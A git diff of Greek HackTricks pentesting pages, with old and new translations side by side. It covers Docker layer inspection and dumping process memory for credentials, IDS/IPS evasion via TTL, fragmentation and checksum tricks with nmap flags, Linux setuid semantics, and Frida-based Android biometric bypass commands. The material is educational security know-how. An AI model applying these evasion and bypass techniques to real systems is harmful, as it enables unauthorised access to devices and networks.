#And then open it with dive:
sudo dive flask:latest
```
Αυτό σας επιτρέπει να **πλοηγηθείτε μέσα από τα διάφορα blobs των εικόνων του Docker** και να ελέγξετε ποια αρχεία τροποποιήθηκαν/προστέθηκαν. Το **Κόκκινο** σημαίνει προσθήκη και το **Κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε το **tab** για να μετακινηθείτε στην άλλη προβολή και το **space** για να συμπτύξετε/ανοίξετε φακέλους.
Αυτό σας επιτρέπει να **πλοηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία έχουν τροποποιηθεί/προστεθεί. **Κόκκινο** σημαίνει προσθήκη και **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους.
Με το die δεν θα μπορείτε να έχετε πρόσβαση στο περιεχόμενο των διαφορετικών σταδίων της εικόνας. Για να το κάνετε αυτό, θα πρέπει να **αποσυμπιέσετε κάθε στρώμα και να έχετε πρόσβαση** σε αυτό.\
Μπορείτε να αποσυμπιέσετε όλα τα στρώματα μιας εικόνας από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
Με το die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\
Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Διαπιστευτήρια από τη μνήμη
## Διαπιστευτήρια από μνήμη
Σημειώστε ότι όταν εκτελείτε ένα container docker μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που τρέχουν στο container από τον host** απλά εκτελώντας την εντολή `ps -ef`
Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef`
Επομένως (ως root) μπορείτε **να αντλήσετε τη μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο ακόλουθο παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
Επομένως (ως root) μπορείτε να **dumpάρετε τη μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/#process-memory).
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,73 +1,83 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
# **Αλλοίωση TTL**
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
Στείλτε μερικά πακέτα με ένα TTL αρκετά για να φτάσουν στο IDS/IPS αλλά όχι αρκετά για να φτάσουν στον τελικό σύστημα. Και στη συνέχεια, στείλτε άλλα πακέτα με τις ίδιες ακολουθίες με τα προηγούμενα, έτσι το IPS/IDS θα νομίζει ότι είναι επαναλήψεις και δεν θα τα ελέγξει, αλλά στην πραγματικότητα μεταφέρουν κακόβουλο περιεχόμενο.
{% embed url="https://academy.8ksec.io/" %}
**Επιλογή Nmap:** `--ttlvalue <τιμή>`
# **Manipulation TTL**
Στείλτε κάποια πακέτα με TTL αρκετό για να φτάσουν στο IDS/IPS αλλά όχι αρκετό για να φτάσουν στο τελικό σύστημα. Και στη συνέχεια, στείλτε άλλα πακέτα με τις ίδιες ακολουθίες όπως τα προηγούμενα ώστε το IPS/IDS να νομίζει ότι είναι επαναλήψεις και να μην τα ελέγξει, αλλά στην πραγματικότητα μεταφέρουν το κακόβουλο περιεχόμενο.
**Επιλογή Nmap:** `--ttlvalue <value>`
# Αποφυγή υπογραφών
Απλά προσθέστε αχρήστα δεδομένα στα πακέτα ώστε να αποφευχθεί η υπογραφή του IPS/IDS.
Απλά προσθέστε άχρηστα δεδομένα στα πακέτα ώστε να αποφευχθεί η υπογραφή του IPS/IDS.
**Επιλογή Nmap:** `--data-length 25`
# **Κατακερματισμένα πακέτα**
# **Κατεστραμμένα Πακέτα**
Απλά κατακερματίστε τα πακέτα και στείλτε τα. Αν το IDS/IPS δεν έχει τη δυνατότητα να τα επανασυναρμολογήσει, θα φτάσουν στον τελικό υπολογιστή.
Απλά σπάστε τα πακέτα και στείλτε τα. Αν το IDS/IPS δεν έχει τη δυνατότητα να τα επανασυνθέσει, θα φτάσουν στον τελικό υπολογιστή.
**Επιλογή Nmap:** `-f`
# **Μη έγκυρο checksum**
# **Μη έγκυρο** _**checksum**_
Οι αισθητήρες συνήθως δεν υπολογίζουν το checksum για λόγους απόδοσης. Έτσι ένας επιτιθέμενος μπορεί να στείλει ένα πακέτο που θα **ερμηνευτεί από τον αισθητήρα αλλά θα απορριφθεί από τον τελικό υπολογιστή.** Παράδειγμα:
Οι αισθητήρες συνήθως δεν υπολογίζουν το checksum για λόγους απόδοσης. Έτσι, ένας επιτιθέμενος μπορεί να στείλει ένα πακέτο που θα είναι **ερμηνευμένο από τον αισθητήρα αλλά θα απορριφθεί από τον τελικό υπολογιστή.** Παράδειγμα:
Στείλτε ένα πακέτο με τη σημαία RST και ένα μη έγκυρο checksum, έτσι ο IPS/IDS μπορεί να νομίσει ότι αυτό το πακέτο πρόκειται να κλείσει τη σύνδεση, αλλά ο τελικός υπολογιστής θα απορρίψει το πακέτο επειδή το checksum είναι μη έγκυρο.
Στείλτε ένα πακέτο με τη σημαία RST και ένα μη έγκυρο checksum, έτσι ώστε το IPS/IDS να νομίζει ότι αυτό το πακέτο θα κλείσει τη σύνδεση, αλλά ο τελικός υπολογιστής θα απορρίψει το πακέτο καθώς το checksum είναι μη έγκυρο.
# **Ασυνήθιστες επιλογές IP και TCP**
Ένας αισθητήρας μπορεί να αγνοεί πακέτα με συγκεκριμένες σημαίες και επιλογές που έχουν οριστεί στους κεφαλίδες IP και TCP, ενώ ο προορισμός τους δέχεται το πακέτο κατά τη λήψη του.
Ένας αισθητήρας μπορεί να αγνοήσει πακέτα με ορισμένες σημαίες και επιλογές που έχουν οριστεί στα κεφαλίδες IP και TCP, ενώ ο προορισμός υπολογιστής αποδέχεται το πακέτο κατά την παραλαβή.
# **Επικάλυψη**
# **Επικαλυπτόμενα**
Είναι δυνατόν όταν κατακερματίζετε ένα πακέτο, να υπάρχει κάποια μορφή επικάλυψης μεταξύ των πακέτων (ίσως τα πρώτα 8 bytes του πακέτου 2 να επικαλύπτονται με τα τελευταία 8 bytes του πακέτου 1, και τα τελευταία 8 bytes του πακέτου 2 να επικαλύπτονται με τα πρώτα 8 bytes του πακέτου 3). Στη συνέχεια, αν το IDS/IPS τα επανασυναρμολογήσει με διαφορετικό τρόπο από τον τελικό υπολογιστή, θα ερμηνευθεί ένα διαφορετικό πακέτο.\
Ή ίσως, να έρθουν 2 πακέτα με το ίδιο offset και ο υπολογιστής να πρέπει να αποφασίσει ποιο από αυτά θα πάρει.
Είναι πιθανό όταν σπάτε ένα πακέτο, να υπάρχει κάποια επικαλυπτόμενη κατάσταση μεταξύ των πακέτων (ίσως τα πρώτα 8 bytes του πακέτου 2 να επικαλύπτονται με τα τελευταία 8 bytes του πακέτου 1, και τα 8 τελευταία bytes του πακέτου 2 να επικαλύπτονται με τα πρώτα 8 bytes του πακέτου 3). Έτσι, αν το IDS/IPS τα επανασυνθέσει με διαφορετικό τρόπο από τον τελικό υπολογιστή, ένα διαφορετικό πακέτο θα ερμηνευθεί.\
Ή ίσως, 2 πακέτα με την ίδια μετατόπιση έρχονται και ο υπολογιστής πρέπει να αποφασίσει ποιο θα πάρει.
* **BSD**: Προτιμά πακέτα με μικρότερο _offset_. Για πακέτα με το ίδιο offset, θα επιλέξει το πρώτο.
* **Linux**: Όπως το BSD, αλλά προτιμά το τελευταίο πακέτο με το ίδιο offset.
* **Πρώτο** (Windows): Πρώτη τιμή που έρχεται, τιμή που μένει.
* **Τελευταίο** (cisco): Τελευταία τιμή που έρχεται, τιμή που μένει.
* **BSD**: Έχει προτίμηση για πακέτα με μικρότερη _μετατόπιση_. Για πακέτα με την ίδια μετατόπιση, θα επιλέξει το πρώτο.
* **Linux**: Όπως το BSD, αλλά προτιμά το τελευταίο πακέτο με την ίδια μετατόπιση.
* **Πρώτο** (Windows): Πρώτη τιμή που έρχεται, τιμή που παραμένει.
* **Τελευταίο** (cisco): Τελευταία τιμή που έρχεται, τιμή που παραμένει.
# Εργαλεία
* [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,10 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
### User Identification Variables
- **`ruid`**: Ο **πραγματικός αναγνωριστικός αριθμός χρήστη** δηλώνει τον χρήστη που ξεκίνησε τη διαδικασία.
- **`euid`**: Γνωστός ως ο **επιχειρησιακός αναγνωριστικός αριθμός χρήστη**, αντιπροσωπεύει την ταυτότητα χρήστη που χρησιμοποιείται από το σύστημα για να προσδιορίσει τα δικαιώματα της διαδικασίας. Γενικά, το `euid` αντικατοπτρίζει το `ruid`, εκτός από περιπτώσεις όπως η εκτέλεση ενός εκτελέσιμου αρχείου SetUID, όπου το `euid` αναλαμβάνει την ταυτότητα του ιδιοκτήτη του αρχείου, παρέχοντας έτσι συγκεκριμένα δικαιώματα λειτουργίας.
- **`euid`**: Γνωστός ως ο **αποτελεσματικός αναγνωριστικός αριθμός χρήστη**, αντιπροσωπεύει την ταυτότητα χρήστη που χρησιμοποιείται από το σύστημα για να προσδιορίσει τα δικαιώματα της διαδικασίας. Γενικά, το `euid` αντικατοπτρίζει το `ruid`, εκτός από περιπτώσεις όπως η εκτέλεση ενός εκτελέσιμου αρχείου SetUID, όπου το `euid` αναλαμβάνει την ταυτότητα του ιδιοκτήτη του αρχείου, παρέχοντας έτσι συγκεκριμένα δικαιώματα λειτουργίας.
- **`suid`**: Αυτός ο **αποθηκευμένος αναγνωριστικός αριθμός χρήστη** είναι κρίσιμος όταν μια διαδικασία υψηλών δικαιωμάτων (συνήθως εκτελείται ως root) χρειάζεται προσωρινά να παραιτηθεί από τα δικαιώματά της για να εκτελέσει ορισμένες εργασίες, μόνο για να ανακτήσει αργότερα την αρχική της ανυψωμένη κατάσταση.
#### Important Note
@ -26,12 +33,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Understanding set*uid Functions
- **`setuid`**: Αντίθετα με τις αρχικές υποθέσεις, το `setuid` τροποποιεί κυρίως το `euid` παρά το `ruid`. Συγκεκριμένα, για διαδικασίες με δικαιώματα, ευθυγραμμίζει το `ruid`, `euid` και `suid` με τον καθορισμένο χρήστη, συχνά τον root, εδραιώνοντας αποτελεσματικά αυτούς τους αναγνωριστικούς αριθμούς λόγω του υπερκαλύπτοντος `suid`. Λεπτομερείς πληροφορίες μπορούν να βρεθούν στη [σελίδα man του setuid](https://man7.org/linux/man-pages/man2/setuid.2.html).
- **`setreuid`** και **`setresuid`**: Αυτές οι λειτουργίες επιτρέπουν την προσεκτική προσαρμογή των `ruid`, `euid` και `suid`. Ωστόσο, οι δυνατότητές τους εξαρτώνται από το επίπεδο δικαιωμάτων της διαδικασίας. Για διαδικασίες που δεν είναι root, οι τροποποιήσεις περιορίζονται στις τρέχουσες τιμές των `ruid`, `euid` και `suid`. Αντίθετα, οι διαδικασίες root ή αυτές με δυνατότητα `CAP_SETUID` μπορούν να αναθέσουν αυθαίρετες τιμές σε αυτούς τους αναγνωριστικούς αριθμούς. Περισσότερες πληροφορίες μπορούν να αντληθούν από τη [σελίδα man του setresuid](https://man7.org/linux/man-pages/man2/setresuid.2.html) και τη [σελίδα man του setreuid](https://man7.org/linux/man-pages/man2/setreuid.2.html).
- **`setuid`**: Σε αντίθεση με τις αρχικές υποθέσεις, το `setuid` τροποποιεί κυρίως το `euid` παρά το `ruid`. Συγκεκριμένα, για τις προνομιούχες διαδικασίες, ευθυγραμμίζει το `ruid`, το `euid` και το `suid` με τον καθορισμένο χρήστη, συχνά το root, εδραιώνοντας αποτελεσματικά αυτούς τους αναγνωριστικούς αριθμούς λόγω του υπερκαλύπτοντος `suid`. Λεπτομερείς πληροφορίες μπορούν να βρεθούν στη [σελίδα man του setuid](https://man7.org/linux/man-pages/man2/setuid.2.html).
- **`setreuid`** και **`setresuid`**: Αυτές οι λειτουργίες επιτρέπουν την προσεκτική προσαρμογή του `ruid`, `euid` και `suid`. Ωστόσο, οι δυνατότητές τους εξαρτώνται από το επίπεδο προνομίων της διαδικασίας. Για διαδικασίες που δεν είναι root, οι τροποποιήσεις περιορίζονται στις τρέχουσες τιμές του `ruid`, `euid` και `suid`. Αντίθετα, οι διαδικασίες root ή αυτές με την ικανότητα `CAP_SETUID` μπορούν να αναθέσουν αυθαίρετες τιμές σε αυτούς τους αναγνωριστικούς αριθμούς. Περισσότερες πληροφορίες μπορούν να αντληθούν από τη [σελίδα man του setresuid](https://man7.org/linux/man-pages/man2/setresuid.2.html) και τη [σελίδα man του setreuid](https://man7.org/linux/man-pages/man2/setreuid.2.html).
Αυτές οι λειτουργίες σχεδιάστηκαν όχι ως μηχανισμός ασφαλείας αλλά για να διευκολύνουν τη σχεδιασμένη λειτουργική ροή, όπως όταν ένα πρόγραμμα υιοθετεί την ταυτότητα ενός άλλου χρήστη αλλάζοντας τον επιχειρησιακό του αναγνωριστικό αριθμό χρήστη.
Αυτές οι λειτουργίες σχεδιάστηκαν όχι ως μηχανισμός ασφαλείας αλλά για να διευκολύνουν τη σχεδιασμένη λειτουργική ροή, όπως όταν ένα πρόγραμμα υιοθετεί την ταυτότητα ενός άλλου χρήστη αλλάζοντας τον αποτελεσματικό αναγνωριστικό αριθμό χρήστη.
Είναι σημαντικό να σημειωθεί ότι ενώ το `setuid` μπορεί να είναι μια κοινή επιλογή για την ανύψωση δικαιωμάτων σε root (καθώς ευθυγραμμίζει όλους τους αναγνωριστικούς αριθμούς με τον root), η διάκριση μεταξύ αυτών των λειτουργιών είναι κρίσιμη για την κατανόηση και την παρακολούθηση των συμπεριφορών των αναγνωριστικών χρηστών σε διάφορα σενάρια.
Είναι σημαντικό να σημειωθεί ότι ενώ το `setuid` μπορεί να είναι μια κοινή επιλογή για την ανύψωση προνομίων σε root (καθώς ευθυγραμμίζει όλους τους αναγνωριστικούς αριθμούς με το root), η διαφοροποίηση μεταξύ αυτών των λειτουργιών είναι κρίσιμη για την κατανόηση και την χειραγώγηση των συμπεριφορών αναγνωριστικών χρηστών σε διάφορα σενάρια.
### Program Execution Mechanisms in Linux
@ -53,12 +60,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
#### **Behavior of `bash` and `sh` with SUID**
- **`bash`**:
- Έχει μια επιλογή `-p` που επηρεάζει το πώς αντιμετωπίζονται το `euid` και το `ruid`.
- Χωρίς `-p`, το `bash` ορίζει το `euid` στο `ruid` αν διαφέρουν αρχικά.
- Με `-p`, διατηρείται το αρχικό `euid`.
- Χωρίς το `-p`, το `bash` ορίζει το `euid` στο `ruid` αν διαφέρουν αρχικά.
- Με το `-p`, διατηρείται το αρχικό `euid`.
- Περισσότερες λεπτομέρειες μπορούν να βρεθούν στη [σελίδα man του `bash`](https://linux.die.net/man/1/bash).
- **`sh`**:
- Δεν διαθέτει μηχανισμό παρόμοιο με το `-p` στο `bash`.
- Η συμπεριφορά σχετικά με τους αναγνωριστικούς αριθμούς χρηστών δεν αναφέρεται ρητά, εκτός από την επιλογή `-i`, που τονίζει τη διατήρηση της ισότητας μεταξύ `euid` και `ruid`.
- Η συμπεριφορά σχετικά με τους αναγνωριστικούς αριθμούς χρηστών δεν αναφέρεται ρητά, εκτός από την επιλογή `-i`, που τονίζει τη διατήρηση της ισότητας του `euid` και του `ruid`.
- Πρόσθετες πληροφορίες είναι διαθέσιμες στη [σελίδα man του `sh`](https://man7.org/linux/man-pages/man1/sh.1p.html).
Αυτοί οι μηχανισμοί, διακριτοί στη λειτουργία τους, προσφέρουν μια ευέλικτη γκάμα επιλογών για την εκτέλεση και τη μετάβαση μεταξύ προγραμμάτων, με συγκεκριμένες λεπτομέρειες σχετικά με το πώς διαχειρίζονται και διατηρούνται οι αναγνωριστικοί αριθμοί χρηστών.
@ -195,6 +202,13 @@ uid=99(nobody) gid=99(nobody) euid=100
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,6 +1,5 @@
# Bypass Biometric Authentication (Android)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -16,9 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## **Method 1 Bypassing with No Crypto Object Usage**
Η εστίαση εδώ είναι στο *onAuthenticationSucceeded* callback, το οποίο είναι κρίσιμο στη διαδικασία αυθεντικοποίησης. Ερευνητές από την WithSecure ανέπτυξαν ένα [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), που επιτρέπει την παράκαμψη του NULL *CryptoObject* στο *onAuthenticationSucceeded(...)*. Το script αναγκάζει μια αυτόματη παράκαμψη της αυθεντικοποίησης δακτυλικού αποτυπώματος κατά την κλήση της μεθόδου. Παρακάτω είναι ένα απλοποιημένο απόσπασμα που δείχνει την παράκαμψη σε ένα περιβάλλον Android Fingerprint, με την πλήρη εφαρμογή διαθέσιμη στο [GitHub](https://github.com/St3v3nsS/InsecureBanking).
Η εστίαση εδώ είναι στο *onAuthenticationSucceeded* callback, το οποίο είναι κρίσιμο στη διαδικασία αυθεντικοποίησης. Ερευνητές από την WithSecure ανέπτυξαν ένα [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), που επιτρέπει την παράκαμψη του NULL *CryptoObject* στο *onAuthenticationSucceeded(...)*. Το script αναγκάζει μια αυτόματη παράκαμψη της αυθεντικοποίησης δακτυλικού αποτυπώματος κατά την κλήση της μεθόδου. Παρακάτω είναι ένα απλοποιημένο απόσπασμα που δείχνει την παράκαμψη σε ένα περιβάλλον δακτυλικού αποτυπώματος Android, με την πλήρη εφαρμογή διαθέσιμη στο [GitHub](https://github.com/St3v3nsS/InsecureBanking).
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -33,7 +38,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp
```
## **Μέθοδος 2 Προσέγγιση Διαχείρισης Εξαιρέσεων**
Άλλο [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) από την WithSecure ασχολείται με την παράκαμψη της ανασφαλούς χρήσης αντικειμένων κρυπτογράφησης. Το script καλεί το *onAuthenticationSucceeded* με ένα *CryptoObject* που δεν έχει εξουσιοδοτηθεί από ένα δακτυλικό αποτύπωμα. Εάν η εφαρμογή προσπαθήσει να χρησιμοποιήσει ένα διαφορετικό αντικείμενο κρυπτογράφησης, θα προκαλέσει μια εξαίρεση. Το script προετοιμάζεται να καλέσει το *onAuthenticationSucceeded* και να διαχειριστεί την *javax.crypto.IllegalBlockSizeException* στην κλάση _Cipher_, διασφαλίζοντας ότι τα επόμενα αντικείμενα που χρησιμοποιούνται από την εφαρμογή είναι κρυπτογραφημένα με το νέο κλειδί.
Ένα άλλο [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) από την WithSecure ασχολείται με την παράκαμψη της ανασφαλούς χρήσης αντικειμένων κρυπτογράφησης. Το script καλεί το *onAuthenticationSucceeded* με ένα *CryptoObject* που δεν έχει εξουσιοδοτηθεί από ένα δακτυλικό αποτύπωμα. Εάν η εφαρμογή προσπαθήσει να χρησιμοποιήσει ένα διαφορετικό αντικείμενο κρυπτογράφησης, θα προκαλέσει μια εξαίρεση. Το script προετοιμάζεται να καλέσει το *onAuthenticationSucceeded* και να διαχειριστεί την *javax.crypto.IllegalBlockSizeException* στην κλάση _Cipher_, διασφαλίζοντας ότι τα επόμενα αντικείμενα που χρησιμοποιούνται από την εφαρμογή είναι κρυπτογραφημένα με το νέο κλειδί.
Εντολή για να εκτελέσετε το Frida script:
```bash
@ -60,7 +65,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
```
## **Μέθοδος 4 Αντίστροφη Μηχανική & Τροποποίηση Κώδικα**
Εργαλεία αντίστροφης μηχανικής όπως το `APKTool`, `dex2jar` και `JD-GUI` μπορούν να χρησιμοποιηθούν για να αποσυμπιέσουν μια εφαρμογή Android, να διαβάσουν τον πηγαίο κώδικα και να κατανοήσουν τον μηχανισμό αυθεντικοποίησης. Τα βήματα περιλαμβάνουν γενικά:
